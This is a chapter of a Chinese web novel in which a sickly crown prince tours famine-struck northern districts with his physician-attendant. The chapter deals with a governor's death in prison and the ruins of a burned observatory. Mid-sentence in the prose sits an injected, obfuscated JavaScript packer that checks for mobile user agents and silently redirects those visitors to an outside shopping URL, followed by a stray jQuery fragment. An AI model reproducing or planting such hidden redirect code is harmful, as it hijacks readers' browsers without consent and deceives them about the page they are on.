39. 拟行路难(九)
作品:《朕不要一朵菟丝花》 孟闻一探到竺影的目光,愤而背过脸,阻却她冒昧的窥探。
竺影一眨眼,就只窥到他的后脑,讪讪道:“殿下,我扶您起来。”
孟闻道:“不用。”
他一手撑着田垄,独自起身,似不愿旁人看到他的窘迫。
竺影的手还停在半空,见他身子摇摇欲坠的,往前踉跄了几步。
是醉了酒么?只看他喝了一杯松花酒,怎么就醉了?
思及此,竺影有些想笑,但不能在这时落井下石。他到底是个病人,不该让他喝酒的。
在外吹了风,酒意发散得快,就醉得更厉害了。
孟闻强撑着走回亭长家中,与款待过他的主人家辞行。
亭长与乡亲们一路迎送出门,问道:“贵人能否见得到瞿使君?求贵人帮我们带几句话吧?”
孟闻没应下他们,转看向竺影。
竺影说:“好。”
妇人提了篮炊饼与柿饼追出来,连带着篮子一并推到竺影面前。
妇人道:“贵人要去赶路了么?拿着这些东西,在路上吃吧。”
竺影连忙推却道:“不必,已得诸位置酒款待,感激不尽,怎好再拿别的?”
妇人便看向孟闻,继续劝着他:“贵人,把这些东西带上吧。”
竺影一时心慌,殿下不胜酒力,又病得弱不禁风,生怕农人一攘他就倒了。
孟闻心中动摇,问道:“县吏又来征粮,你们自己吃饱饭都难,怎么还要给我这些?”
妇人笑道:“不怕啊,来年地里还会长出来呀。还有瞿太守,他总会照拂着乡里,昨年就是他去求着朝中,才给我们免了秋税。”
亭长拄杖过来,也在一旁帮着劝:“我们乡下人粗鄙,怕您看不上这些啊。山池离云琅远啊,也不知道您下一次还会不会再来了,求您拿去吧。您是读过书的,知晓大道理,许多庄稼人不知道的事,都得问您哩。”
孟闻微微张了张口,却发不出一点声音。
农人后来质问朝廷,质问太子,质问皇帝的话,他一个字也答不出口。
千秋功过,是非对错,这些冠冕堂皇的话,不能对着一群连饭都食不饱的人去说。
这些事想的越多,头也变得昏昏沉沉的,步子也虚浮。孟闻不记得自己怎么走完了这一段路,只知乡民一路相送到了亭外,一篮子炊饼还是塞到了他手中。
他在并州受尽冷眼,却又在农人家中得了一丝温情。
“殿下,该登车了。”竺影在旁出言唤他。
他吃醉了酒,反应略显迟钝。
装满山货的篮子拿在手里沉甸甸的。
换做是往时,这些东西都进不了宫里,更入不了权贵的眼。此刻在他手中却与“生计”二字挂勾,沉重无比。
孟闻想起葛县里触目可及的疮痍,随处可见的乞人,还有源源不断抬出去的尸骨……
赈灾的粥熬得很稀,清亮得能照出人影,就跟社日的酒一样。
等他转头时,竺影见他眼尾泛红,再度湿濡了眼眶。不等抬手拭泪,泪已先垂。陆皇后葬礼上没落下的那滴泪,坠在了北地的黄埃里。
他定是醉了,且还醉得不轻,才会纵容隐藏在心里的情愫外溢。顾及太子脸面,竺影装作没看到似的,不自在地移开眼。
山坳里的宴席散了,家家扶得醉人归。竺影也扶太子登车,继续赶路。本来想着离开山池县,加紧赶路找到留宿的地方,还能来得及给他煎药。可孟闻方一登车,就倒头睡过去了。路上一直没醒,此事也就作罢。
他睡一觉也好,省得一再聒噪,在马车上发起酒疯,竺影可应承不了。万幸他醉后安安静静的,竺影免去许多操劳,更不必费尽心思安慰他了。
清早,山野响起一声嘹亮的鸡鸣。
晨光透过车帘的缝隙,映照在他的面庞,孟闻微微睁开眼。
一醒春酲,耳边是辘辘车轮声,他们尚在去往尚泉郡的路上。
他的女官守在身边喊他:“殿下。”
宿醉后,他总算醒了。
迷迷糊糊地睁眼,抬手遮去刺目的光线,他眼中的疲惫还没褪尽。
竺影问他:“昨夜到了西河郡歇脚,但是殿下没醒,不曾起来用晚膳呢。殿下此时饿不饿,有没有什么想吃的?等会进了县城,我去买一些回来……”
孟闻道:“不必麻烦。还剩些什么干粮?”
竺影道:“只剩下黍馕。”
孟闻却看着她竹篓旁放着的篮子。
竺影察觉到了他的目光,遂把篮子抱在膝上,低头一顿挑挑拣拣:“这炊饼是粗面做的,我昨日吃了一个,十分硌牙,谷壳都没脱干净,不好克化呢,殿下还是不要吃了。柿饼寒凉,殿下不可食;梨干伤脾胃,殿下也不能吃……”
竺影低头在篮子里挑来挑去,口中嘟囔着这个也不能,那个也不能……山池乡民送的炊饼与果干都被她昧下了,只施舍给他一把枣干。
他吃了两颗,饮了一口水,便没再进食。
竺影问:“不再吃一些了吗?”
孟闻道:“想吃莼羹。”
竺影沉默了下来,这个当下确实办不到,北地可采不到莼菜呀。
他似也发现了自己的要求强人所难,改口道:“换作别的也成,只要是热的。”
竺影道:“请殿下在等一等罢,到下一个县城还需一个多时辰。”
“嗯。”孟闻应下后,不多说话了。
竺影主动说道:“我来给殿下把脉吧,您昨日喝了酒,更是停了一日的药,不知道这病会不会复发……”
她絮絮叨叨说着,孟闻迤迤然捋起衣袖,伸手向她,随后偏头对着车窗外怔忪出神。
竺影三指搭脉,数十息过后,长出一口气。
幸好他年轻,底子实在抗造,但凡是上了年纪的人都受不起折腾。
过了一会儿,指下的脉搏一点点变得洪大、急促……
竺影感觉到他情绪在变化,于是问道:“殿下在想些什么?”
孟闻看着沿途春草,不去看她,偏生了逗弄的心思:“在想……回宫以后,我荐你去太医署罢。”
“殿下!”竺大夫此刻脉也不切了,换作双手抓住他衣袖,只求他能收回成命。
她当真了,又被吓着了。
孟闻回过头来,浅浅哂笑,她才意识到自己被戏弄了,俄而气恼地甩开他的衣袖。
孟闻又伸了另一只手过去,十分耐心道:“庸医,我记着切脉要切两只手。”
竺影气恼时,便生恶胆,毫无顾忌在储君说些大逆不道之辞:“殿下说我是庸医,若是性命折在了我这庸医手里可如何是好?”
孟闻听罢半点也不闹,浅声道:“治不好便治不好了,又不会扯你陪葬。皇陵太窄,塞不下那么多无关紧要之人。”
“……”
竺影这么一听,火气消了一半。
孟闻很喜欢把死挂在嘴边,倒让旁人以为他早将生死置之度外。
那时在松山上,她叫角音给他挑一处葬身的风水宝地,他听了之后,竟为此笑得喘不过气。
许是得了什么疯症吧,竺影偶尔能理解他,并不同情他。
师傅说过,那些叫嚷着寻短见的人并非真的不想活,比起坦然赴死,更多的是祈祷有人能够救他。抑或是有的人麻木地活在世间,如一具行尸走肉,身存魂亡。只有极度临近死时,才能懂得什么是生,才能真真切切地感受到自己还活着。
竺影不知道眼前人是不是如此。
也许他真的只是百无禁忌。
眼下,他的脉搏落在她指腹下,流动的血脉像江水的潮起潮落,退潮之后,渐渐平息。
他这会儿心宁了。她在切脉,孟闻与她坦言:“我方才在想,山池县与葛县的事。”
竺影适时抬头,好教他知道,她在听。
孟闻却没有接着说下去。
以前,他也曾见过繁华,出过中原,巡过江南,天底下没有哪一处是像北地这样。后来……他在西苑待了太久,整整七年,连宫门都不曾迈出一步。他不知道,这世道为何变成这般模样,总归是……跟他想的不一样。
太子亲巡北地,亲自到民间来。他本想看看民生,却只看到民不聊生。
不管是不是出于真心,竺影随口劝慰道:“殿下可曾见过繁盛时的北地?它变成如今这样,并不是殿下的错。”
孟闻道:“我听过,不只从你口中。”
竺影不问他是听谁说的,也许是陆尚书,也许是陆皇后。
说到底,也只是听说,他不曾见过。
她切完了脉,替他放下袖子,不忘叮嘱说:“殿下切不可再饮酒了,也不可动气,否则角音就得再背着殿下去一趟松山了。”
她故意将后果往严重了说,不若如此,真唬不住他。
“好。”孟闻只回了一个字,敷衍极了,像是准备随时随刻不遵医嘱。
竺影捡起之前的话头说下去:“今上也在宫城里,掌权的人都在宫城里。哪怕徭役减了又减,税收也免过几年,却还是回不到过去的繁华。北地还是太远太远了,宫城里的人看不到这处,他们只看得到官员呈上去的,才理所当然地以为这里的百姓过得极好。所以也不能说,今上并非明君,只是因为陛下看不到这里。”
乱七八糟说了一大堆,她又忙给自己找补:“小人绝无背地里说陛下坏话的意思。”
孟闻原本听得认真,听到这句不由哂笑出声。
她又说:“我朝历代的明君,都曾走出京师,亲自到这偏远的地方来。所以我多庆幸,是殿下来了这里。”
他如何听不出来,这话是在哄他。
她的话总是半真半假,只能捡一半去听。
不止是她,所有对上位者谄谀的人,都是如此的,不可尽信。
只有他在西苑那几年,的的确确身陷囹圄,险些万劫不复之时,才听过最多真话。
真话总是比假话难听。
竺影随太子巡过尚泉郡与其下三个县,预备两日后赶回云琅郡。
尚泉是边陲重郡,与乌护接壤。沿途多设卡布防,防备比其他郡县要严密许多。
也就证明,乌护人不可能悄无声息地越过边境,出现在云琅。
他们能够在城中招摇过市,定然得到了地方官员的默许。
孟闻决定亲自来尚泉,便是为了确认这一点。
尚泉郡也是并州七郡中最贫瘠的一片土地,秋冬寒冷漫长,春夏是转瞬即逝的,庄稼只生一季。南边的几个郡已经陆续耕种新畲*,境内无闲田;尚泉郡内的冻土才将将融化。
当真应了竺影说的那句,北地还是太远太远了,连春风都不至。
莫说是太子了,其实连竺影也没来过这地方。
萧瑟北风肆虐在陌上阡头,飞沙走石吹打行人衣袂,分外张狂。
竺影跟在孟闻身后缓缓地走,看天色渐晚了,催促着:“殿下,早些回去罢。”
孟闻道:“反正此行也是巡游北地,巡哪里不是巡?”
闻道边城苦,而今到始知。*
并州各郡的灾情、民生已巡遍,剩下的就是回去与诸位臣僚商讨重修观星楼之事了。
陛下指派太子亲自过来,任命将作监官员随行,本就是为了这件事。
无论如何都躲不过,避不开。
赶回云琅的路上,孟闻收到一封传信。
他展信来读,眼神不落在信纸上,而是在竺影身上逡巡片时。
“殿下,怎么了?”竺影被他盯得不安。
孟闻不做解释,将信递过去:“自己看吧。”
一方狭窄的车舆里,盛满了纸页在手中碾转的声音。信上的字迹发颤,不知是帘外有风来,还是她的手在发颤。
信中有她熟悉的名字,难怪同她有关。
写信之人在信中告罪,前任太守瞿良在狱中——服毒身亡。
卒读最后几字,胸中蓦然酸涩,像是五脏六腑都被人紧揪着不放。
她只走了十几日,州府那边尚未提审,太子也未曾给他定罪,她本以为……本以为还有机会。
她才去山池县送了家书,她还有话未带到啊!
书信传回孟闻手中时,留下了一道很深的指印。他的视线经过这道印痕又撇去,什么也没说。
孟闻其实早有预料,太守瞿良难逃一死。
并州的中正官皆由梁氏的人充任,手握选任官员、考核升降的大权。
自宁朔九年至今,七年时间足够梁氏将地方上的官员换过一批。
瞿太守在任没什么杰出的政绩,中正官也揪不出他的错,中规中矩,索性让瞿良一直在原来的位置上待着,不巴结不讨好,彼此相安无事。
直到朝中派了人来,打破了这份平衡。
瞿良越级面见太子殿下,肯请孟闻为云琅百姓做主,无异于当面同梁氏作对,梁氏定不肯善罢甘休。来日太子回朝,手伸不到这处来,梁叡定要找瞿良清算。
后来曝出瞿良与乌护人有往来,通敌这一条罪名他洗不清,倒给了梁叡一个不错的借口。
瞿良有过错,自有朝中给他定罪,不待州府提审,已落得个服毒身亡的下场。
孟闻思来想去,梁氏的人未免太过心急,就这么不爱惜羽毛?
想必贿敌求和一事,梁叡脱不了干系,所以才着急推一个死人出去顶罪,意图息事宁人。他自己至多担一个监管不力的罪名。
替罪羔羊,这一手段在官场上多了去,屡试不爽。
巡视尚泉郡的一行人回到云琅梁府,梁叡忙不迭赶来太子跟前请罪:“下官失职,恳请殿下责罚。”
孟闻扫他一眼,戏谑问道:“不知梁中正失的什么职,要陈什么罪?我才从边地回来,倒是不曾听说。”
梁叡再拜顿首道:“全怪下官看管不力,未能等殿下回来亲自提审,竟教罪臣瞿良在狱中自裁了。”
“哦。”孟闻平静如常,云淡风轻道过一句,“只是件小事罢了。”
竺影拢袖垂首跟在太子身后,听到这话,只是件小事啊。她喉中哽噎,衣袖遮掩下的手指瑟缩,始终不曾抬头。
孟闻继续同梁叡说道:“梁中正不必惊慌,瞿良乃是畏罪自杀,我回了京中自会与陛下禀明实情。当务之急,是要先解决乌护之事,提防外族前来寻衅。朝中也来了信催促,明日,有劳梁中正带我去观星楼旧地看看。”
“是,是。”梁叡如获大赦,亲引太子殿下行至后院,“殿下玉体欠安,一路鞍马劳顿,还请好生修养,下官即刻遣仆从备下饭食,送至客院中。”
孟闻嫌耳边吵闹,抬手命梁叡退下。
竺影木然抬脚迈过门槛,对太子行过一礼,一言不发便要回屋。
孟闻没有过问半句,由着她去。回来的路上,她读过角音送来的信,就再也没跟孟闻说过一个字。
瞿太守难逃一死,竺影早有预料,做好了最坏的打算。可她没想到一郡太守的死,也是可以像翻书一样轻易揭过的。
与太子殿下同行一路,教竺影险些忘了,他到底不是孟明谌,不会由着她胡来。竺影没有理由、没有胆量去质问他。他到底出于何种考量,才会用一句“畏罪自杀”,就给瞿太守之死盖棺定论了?
政治到底残酷。这个道理,在竺氏举家获罪那时,竺影就懂了。她的父亲竺太常何尝不是如此,无端卷入这场是非里,成了“杀一儆百”中的那个“一”。只不过父亲又比瞿良幸运些,至少没落得个身死狱中的下场。
竺影回了耳房,掩上门,放下帐子,解去外衣,脱了丝履,爬上床塌,把自己埋进被褥里。
做完这一些,她已经没力气再想旁的事了,不去想瞿太守的生前,不去想山池乡民托付的话。
她好累,累得想不起这些。
眼前昏暗,周遭寂静,只剩下呼吸。
不知过去了多久,床帐外传来细微的声音,屋里透进一隙春光
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16822705|183722||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
,进来一个瘦小的人影。
慢慢地朝床榻走近了,翡儿伏在榻边发问:“姊姊,你不食饭吗?”
竺影在被褥里翻了个身,背对着她道:“你出去吧,不用管我。”
翡儿小声道:“那我把饭食端进来。”
竺影没再回应,一动不动似睡着了,翡儿默默出去了。
漏过枝柯缝隙的春光,斜照进楼花窗,落在堆叠如山的文书上。
孟闻在窗前伏案,找不见云琅郡志与帐簿。怀岫与怀镜从未见过,更不曾收走。他唯一能问的人,此刻尚在另一间屋子里沉沦着。
角音甫一进门,就跪在太子面前谢罪:“殿下,属下知罪。”
孟闻道:“起来,慢慢说。”
角音道:“属下那日早早赶回城中,在狱中见到瞿良时,他已服下毒药命悬一线。属下当即找了医工去看,仍是没能把人救回来。”
孟闻道:“瞿府中探过了,可还留下些什么?”
角音道:“除些公务文书,倒是不曾找见别的,都怨属下无能——”
孟闻支额看向窗外,暗自长叹:“怪不到你头上,梁氏的人做得挺干净。”
一点证据也没捏在手里,师出无名委实令人犯难。
竺影一直睡到傍晚才起,顶着薄薄暮色出门,又错过了晚膳。醒后如旧觉得疲惫,除了嗜睡以外,便是不愿进食。酸涩萦在鼻子与心口不去,喉间也卡着一道刺,连吞声忍气都会带动那根刺,划得喉咙生疼,更别说要咽下别的东西。翡儿给她端来的饭食放了三个时辰,一点也没动过。
东风骤来,解落枝头三千新叶。石榴树在主屋前投下一道涣散的树影,屋中人尚在案前翻书。
竺影在门前踟蹰了一阵,轻轻叩了两下门。没等来宫人应门,她便自行退了门,低头进去道:“小人来给殿下请脉。”
孟闻扬眸,惊讶望了竺影一眼。她面上没什么表情,只是眉目低敛如初,不因喜恶生出一丝波澜。
他要看书,她便安静跽坐在侧,等他伸出一只手来。望闻问切,今就只剩一个切。她不抬眼不张口,仅仅专注于切脉,一下一下数着时息。
竺影请完脉,收回了手道:“之前一日两服药,今后可改成一日一服了。”
“好。”孟闻轻一点头,默默望着她。本以为会望见她淬了毒的眼神,可她不曾。她只是睁着一双疏淡得不能再疏淡的眼,平静地在他的注视中,拢袖起身说道:“小人去找人给殿下煎药。”
只听她两次都自称小人,孟闻便先受不了了。五指用力抠着书脊,压得指节都泛白,而她始终看在眼里,嘴角多了一丝荒唐的笑,连她自己都没察觉到。
孟闻道:“你在怨我。”他猜得到,那份怨责大抵与瞿良之死有关。
竺影道:“小人不敢。”
轻悠悠的字句,远比声嘶力竭的怨诉更令他无措。
孟闻紧绷着嘴角,言语听不出是安慰还是叱责,他只是问了一句:“竺影,你要一直如此么?”
竺影且当他这话是在叱责,抿唇化开一抹苦笑,声音却哽着:“殿下,我只是不那么好受。”
何止是不好受,她心里堵得慌。
孟闻道:“巡查诸事已毕,明日你不想出门的话,可以不必跟去。”
竺影道:“多谢殿下。”
“回去罢。”孟闻依然不知道该如何去安慰她,只由着她自己去平复,
竺影起身出去煎药,再没有说起其他。药煎好了,也是托翡儿送去的。除了把脉就是煎药,这位女史和太子之间的交流只剩下这些。
翡儿回到屋里时,竺影正坐在妆奁前散发梳头。她平淡地坐在那里,垂眸视着镜中的自己,未挽起的青丝垂到地上,衣摆随着动作轻轻摇晃。
翡儿起初会问她发生了何事,毕竟她不敢去问太子殿下。可是竺影每每不答,也不说话,翡儿便不去追问了。翡儿只照殿下吩咐的,不厌其烦地提醒竺影记得吃饭,劝她多少饮些热汤,晚间放了热水催她去沐浴歇息。
翌日,太子随梁中正去城外观星楼旧地,去仰观那一片焦土,竺影没跟着去。旁人以为,她又会在榻上躺一整日。翡儿晌午进屋去送餐食,叫了几声无人应,掀开帐子一看,榻上已经没人了。翡儿寻出门去,客院里也不见人。
城外有一片广袤的空地,是观星楼大火留下的焦土,在从十几里外开始延绵,一路延伸至竺影脚下。照理来说,焚烧过草木的土地应当更肥沃,这几百亩土地却不被准许用来种庄稼。永远预备着,留给那座将建未建的观星楼。
茫茫旷野里,只有零星几个人行过此处,空得瘆人。当年也只有一座塔孤零零地立在这里。
竺影走了很远,才走到正中的基址废墟。已而夕阳在山,云琅笼罩在暮色中,想来梁叡已带着朝中官员离去了。
这里不过是一片空地,旧楼倾覆在春草里,其实没什么好看的。烧不毁的石栏还在,石基台也还在。竺影在基台下,捡起一个焦黑的鼗鼓。鼓身烧成了黑炭,鼓面烧焦,系着鼓珠的绳子也烧断了,鼗鼓再不能被摇响。
四周不见亡者的骨骸了,只有稚子玩物被遗落。是当年的某个孩子留下的吧?那年冬日,他是否携着心爱的鼗鼓,与家人一道赴了火海?
从前云琅的子民安居乐业,这是竺影跟太子说起云琅过往时,提及最多的一句话。可是——可是何时变了?
在今上随手一指,决意在北地建一座为民祈福的观星楼之后,民心四散,繁华开始坍塌。
宁朔八年冬,也正是观星楼竣工的那一年,本该结给工人的工钱、发放给灾民的粮食与寒衣迟迟不到。等到了年末,赈灾的粮款送到北地时已是百不存一。接连不断的几场大雪夺去数万人的性命。
有人说,观星楼大火源自天灾,也有人说,是那些没能拿到工钱的工匠纵火焚了他们亲手建起的楼。事实真相已无人去探究,毕竟工匠一并葬身在火海中了。那一场火是寒灾中所能汲取的最后一丝温暖,大火燎上天际之时,许多看不到生路的百姓,毫不犹豫地纵身入火海。
所以竺影才能在这片废墟上捡到一面鼗鼓。
她坐在石基台上,把鼗鼓捧在手中轻轻地转,耳边没有鼓声,只有风声。满树的叶因风吹而颤抖,沙沙又簌簌。过境的风太轻,带不走这段沉重的过往。
宁朔八年一案已过去整整七年,云琅的百姓早已从当年的伤痛里走出来,继续朝前走了,再不愿回想起那段过往。唯有这一片焦土,是遗留在云琅的未愈的毒疮。虽不会致死,偶尔发作起来也让人备受折磨。
天色已经很晚了,再晚些就进不了城,竺影意识到自己该回去了。
刚刚起身,把那面鼗鼓搁在石栏上,晚风吹拂,携来数道不急不缓的足音,落在竺影身后。不知是何人向她而来。
“竺影。”
那人喊着她的名字,话音中带了点愠怒。脚步停下时,急促的呼吸尚未平息。
竺影蓦地回首,对上一张她不太情愿见到的脸。苍白的脸上,挂着一点因疾步奔走而生的汗珠,那一点病容又显现出来。竺影仍旧不愿看到他。天色这样晚,太子殿下此时应当回到云琅城里了,不该出现在这里啊。
“你何时偷跑出来的?可有人跟着?”他那目光穿过将夜的暮色,落在竺影身上,明显是不带责备的。
竺影就站在原地,隔着一段距离与他对视,赌气似的质问:“我不能吗?”
孟闻不是来跟她争执的,只道:“该回去了。”
竺影恍若未闻,转头看着身后的一片废墟,自顾自地说话:“殿下,你立誓之时,我就在旁边看着。”
孟闻淡声道:“我知道,我记得。”
他说要以瞿太守一人性命换云琅三十万众;他说会为宁朔八年蒙冤之臣翻案,昭清白于世。他说他还记得。
竺影是在问他,也在问朝廷:“可是殿下——”
这一座积满了罪孽的楼。
“当真要重建吗?”

